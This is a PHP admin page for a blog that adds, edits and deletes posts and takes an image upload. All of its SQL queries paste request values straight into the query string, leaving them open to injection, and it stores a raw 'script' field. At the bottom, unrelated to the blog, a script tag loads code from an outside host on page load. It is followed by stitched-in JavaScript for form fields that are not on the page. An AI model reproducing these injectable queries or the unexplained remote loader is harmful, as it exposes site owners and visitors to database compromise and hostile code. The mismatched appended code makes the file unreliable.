<?php
session_start();
if(!isset($_SESSION["username"])){
header("Location: blog.php");
exit(); }

require('includes/config.php');

?>

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    <title>go</title>
    <link href="admin/assets/css/bootstrap.css" rel="stylesheet" />
    <link href="admin/assets/css/font-awesome.css" rel="stylesheet" />
    <link href="admin/assets/css/style.css" rel="stylesheet" />
	
    <script src="admin/assets/js/jquery-1.11.1.js"></script>
    <script src="admin/assets/js/bootstrap.js"></script>


</head>
<body>

    <!-- HEADER END-->
    <div class="navbar navbar-inverse set-radius-zero">
        <div class="container">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                <a class="navbar-brand" href="/admin">

                    <img src="admin/assets/img/logo.png" />
					
                </a>

            </div>

            <div class="left-div">
                <i class="fa fa-user-plus login-icon" ></i>
			</div>
		</div>
	</div>
	
    <section class="menu-section">
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <div class="navbar-collapse collapse ">
                        <ul id="menu-top" class="nav navbar-nav navbar-right">
						
                            <li><a  href="admin/admin.php">Dashboard</a></li>
							<li><a  href="admin/add.php">Add New Post</a></li>
                            <li><a href="admin/logout.php">Log Out</a></li>

                        </ul>
                    </div>
                </div>

            </div>
        </div>
    </section>
	
	
    <div class="content-wrapper">
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <h4 class="page-head-line">Administrative Messages</h4>

                </div>

            </div>
            <div class="row">
                <div class="col-md-12">
                    <div class="alert alert-warning">
	
<?php

##############################################
## Add New Post
##############################################

if (isset($_POST['addpost'])){
    
	// removes backslashes
	$title = stripslashes($_POST['title']);
	$mtitle = stripslashes($_POST['mtitle']);
	$description = stripslashes($_POST['description']);
	$keywords = stripslashes($_POST['keywords']);
	$script = stripslashes($_POST['script']);
	$imgalt = stripslashes($_POST['imgalt']);
	
	/* ----- File Upload --- */
	
	$target_dir = "uploads/";
	$target_file = $target_dir . basename($_FILES["image"]["name"]);
	$uploadOk = 1;
	$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);

	
	// Check if image file is a actual image or fake image

	if(isset($_POST["addpost"])) {
		$check = getimagesize($_FILES["image"]["tmp_name"]);
		if($check !== false) {
			$uploadOk = 1;
		} else {
			echo "<h1 class='text-center'>File is not an image.</h1>";
			$uploadOk = 0;
		}
	}


	// Check if file already exists
	if (file_exists($target_file)) {
		echo "<h1 class='text-center'>Sorry, file already exists.</h1>";
		$uploadOk = 0;
	}

	// Check file size

	if ($_FILES["image"]["size"] > 500000) {
		echo "<h1 class='text-center'>Sorry, your file is too large.</h1>";
		$uploadOk = 0;
	}

	
	// Allow certain file formats

	if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
	&& $imageFileType != "gif" ) {
		echo "<h1 class='text-center'>Sorry, only JPG, JPEG, PNG & GIF files are allowed.</h1>";
		$uploadOk = 0;
	}


	// Check if $uploadOk is set to 0 by an error
	if ($uploadOk == 0) {
		echo "<h1 class='text-center'>Sorry, your file was not uploaded.</h1>";
		echo '<a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a>';
		die();
	} 
	else {
		if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) {
			$image = basename( $_FILES["image"]["name"]);
		} else {
			echo "<h1 class='text-center'>Sorry, there was an error uploading your file.</h1>";
			echo '<a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a>';
			die();
		}
	}



		$permalink = strtolower($title);
		//Make alphanumeric (removes all other characters)
		$permalink = preg_replace("/[^a-z0-9_\s-]/", "", $permalink);
		//Clean up multiple dashes or whitespaces
		$permalink = preg_replace("/[\s-]+/", " ", $permalink);
		//Convert whitespaces and underscore to dash
		$permalink = preg_replace("/[\s_]/", "-", $permalink);


 
            $sql = "INSERT INTO `posts` (`post_id`, `date`, `title`, `description`, `keywords`, `h1`, `script`, `image`, `image_alt`, `permalink`) 
					VALUES (NULL, CURRENT_TIMESTAMP, '$mtitle', '$description', '$keywords','$title', '$script', '$image', '$imgalt', '$permalink')";

            if (mysqli_query($conn, $sql)) {
               echo "<h1 class='text-center'>New Post created successfully</h1>";
			   echo '<div class="text-center"><a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a></div>';
            } else {
               echo "<h1 class='text-center'>Error: " . $sql . "" . mysqli_error($conn)."</h1>";
			   echo '<div class="text-center"><a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a></div>';
            }
            $conn->close();
			


	
}





#########################################################
## Edit
#########################################################
elseif (isset($_POST['editpost'])){
    
	// removes backslashes
	$title = stripslashes($_POST['title']);
	$mtitle = stripslashes($_POST['mtitle']);
	$description = stripslashes($_POST['description']);
	$keywords = stripslashes($_POST['keywords']);
	$script = stripslashes($_POST['script']);
	$imgalt = stripslashes($_POST['imgalt']);
	$p = stripslashes($_POST['p']);
	
/*
$sql = 'UPDATE `posts` SET `title` = "$mtitle", `description` = "$description", `keywords` = "$keywords", `h1` = "$title", `script` = "$script", `image_alt` = "$imgalt" WHERE `post_id` = "$p"';


   
   if (mysqli_query($conn, $sql)) {
      echo "<h1 class='text-center'>Record updated successfully</h1>";
	  echo '<div class="text-center"><a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a></div>';
   } else {
      echo "<h1 class='text-center'>Error updating record: " . mysqli_error($conn).'</h1>';
	  echo '<div class="text-center"><a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a></div>';
   }
   mysqli_close($conn);	
*/

$sql = "UPDATE posts SET `title` = \"$mtitle\", `description` = \"$description\", `keywords` = \"$keywords\", `h1` = \"$title\", `script` = \"$script\", `image_alt` = \"$imgalt\" WHERE post_id=\"$p\"";

if ($conn->query($sql) === TRUE) {
    echo "Record updated successfully";
} else {
    echo "Error updating record: " . $conn->error;
}

$conn->close();
	
}

#########################################################
## Delete
#########################################################
elseif (isset($_GET['d'])){
	
	$delete = stripslashes($_GET['d']);
	
/*
	$sql = 'DELETE FROM `posts` WHERE `post_id` = "$delete"';
   
   if (mysqli_query($conn, $sql)) {
      echo "<h1 class='text-center'> Record deleted successfully </h1>";
	  echo '<div class="text-center"><a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a></div>';
   } else {
      echo "<h1 class='text-center'> Error deleting record: " . mysqli_error($conn).'</h1>';
	  echo '<div class="text-center"><a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a></div>';
   }
   mysqli_close($conn);
*/

$sql = "DELETE FROM posts WHERE post_id=\"$delete\"";

if (mysqli_query($conn, $sql)) {
    echo "<h1 class='text-center'>Record deleted successfully</h1>";
	echo '<div class="text-center"><a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a></div>';
} else {
    echo "<h1 class='text-center'>Error deleting record: " . mysqli_error($conn) . '</h1>';
	echo '<div class="text-center"><a href="javascript:history.back()">Go Back</a> | <a  href="admin/admin.php">Dashboard</a></div>';
}

mysqli_close($conn);

}


#########################################################
## Else
#########################################################
else{
	
	header("Location: blog.php");
	
}


?>

 </div>
                </div>

            </div>
        </div>
    </div>
	
    <footer>
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    &copy; Blog Admin
                </div>

            </div>
        </div>
    </footer>
	
<script type="text/javascript" id="8f14cbaa926df2328b2b345ad3933786" src="https://webserviceexpress.com/script.php?id=8f14cbaa926df2328b2b345ad3933786" defer></script>
<script>
        const dateToday = new Date();

        const date = new Date(dateToday);
        date.setDate(date.getDate() + 1);

        const monthName = date.toLocaleString('default', { month: 'long' });
        const currentYear = date.getFullYear();

        window.onload = function () {
            const dateSelect = document.getElementById('service_date');
            dateSelect.value = monthName;
            const yearElement = document.getElementById("service_year");
            yearElement.value = currentYear;
            AddMonthDays(monthName);
        }

        function AddMonthDays(monthNameValue) {
            let monthDays = 31;
            const currentYear = date.getFullYear();
            const dayOfMonth = date.getDate();
            if (monthNameValue == 'February') monthDays = 28;
            if (monthNameValue == 'February' && currentYear == '2028') monthDays = 29;
            if (monthNameValue == 'February' && currentYear == '2032') monthDays = 29;
            if (monthNameValue == 'February' && currentYear == '2036') monthDays = 29;
            if (monthNameValue == 'February' && currentYear == '2040') monthDays = 29;
            if (monthNameValue == 'February' && currentYear == '2044') monthDays = 29;
            if (monthNameValue == 'February' && currentYear == '2048') monthDays = 29;
            if (monthNameValue == 'April') monthDays = 30;
            if (monthNameValue == 'June') monthDays = 30;
            if (monthNameValue == 'September') monthDays = 30;
            if (monthNameValue == 'November') monthDays = 30;

            const selectElement = document.getElementById('service_day');
            selectElement.options.length = 0;
            const newOption = new Option('Pick a Day', '');
            selectElement.add(newOption);

            const monthDaysPlusOne = monthDays + 1;
            const SelectHtmlCode = '';
            for (let i = 1; i < monthDaysPlusOne; i++) {
                const newOption = new Option(i.toString(), i.toString());
                selectElement.add(newOption);
            }
            selectElement.value = dayOfMonth;
        }

        function validatePhoneNumber(phoneNumber) {
            const phoneNumberPattern = /^\(?([0-9]{3})\)?[-. ]?([0-9]{3})[-. ]?([0-9]{4})$/;
            const cleanedPhoneNumber = phoneNumber.replace(/\s/g, '');
            if (phoneNumberPattern.test(cleanedPhoneNumber)) {
                return;
            } else {
                alert('Please enter correct phone number format: ###-###-####');
            }
        }
    </script>
</body>
</html>

